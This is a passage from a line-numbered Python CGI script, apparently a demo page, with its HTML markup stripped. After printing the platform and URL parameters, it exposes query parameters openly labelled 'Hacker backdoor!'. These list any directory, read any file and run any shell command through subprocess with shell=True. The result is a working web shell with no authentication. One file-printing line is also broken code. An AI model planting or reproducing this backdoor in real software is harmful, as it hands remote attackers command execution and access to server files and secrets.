')
17 |
18 | # Platform
19 | print('
Platform
')
20 | print('
', end='')
21 | print('sys.platform = ' + ''+ sys.platform)
22 | print('
')
23 |
24 | # URL Parameters
25 | print('
URL Parameters
')
26 | print('
', end='')
27 | for k in form.keys():
28 | print(''+ k + ' = ' + ''+ form.getvalue(k))
29 | print('
')
30 |
31 | # Hacking!
32 | path = form.getvalue("listdir")
33 | if path:
34 | print('
🥷 Hacker backdoor! Try reading \'' + path + '\' directory!
')
35 | print('
', end='')
36 | try:
37 | dirs = os.listdir(path)
38 | for entry in dirs:
39 | print(''+ entry + '')
40 | except Exception as e:
41 | print("ERROR! " + str(e))
42 | print('
')
43 |
44 | filepath = form.getvalue("open")
45 | if filepath:
46 | print('
🥷 Hacker backdoor! Try opening file: \'' + filepath + '\'
')
47 | file = open(filepath, 'r')
48 | if file:
49 | print('
', end='')
50 | print(''+ print(file.read()) + '')
51 | print('
')
52 |
53 | command = form.getvalue("run")
54 | if command:
55 | print('
🥷 Hacker backdoor! Try running command: \'' + command + '\'
')
56 | print('
', end='')
57 | try:
58 | print('')
59 | output = subprocess.run(command, capture_output=True, shell=True)
60 | print("[stdout]")
61 | print(output.stdout.decode("utf-8"))
62 | print("[stderr]")
63 | print(output.stderr.decode("utf-8"))
64 | print('')
65 | except Exception as e:
66 | print("ERROR! " + str(e))
67 | print('
')
68 |
69 |
70 | print("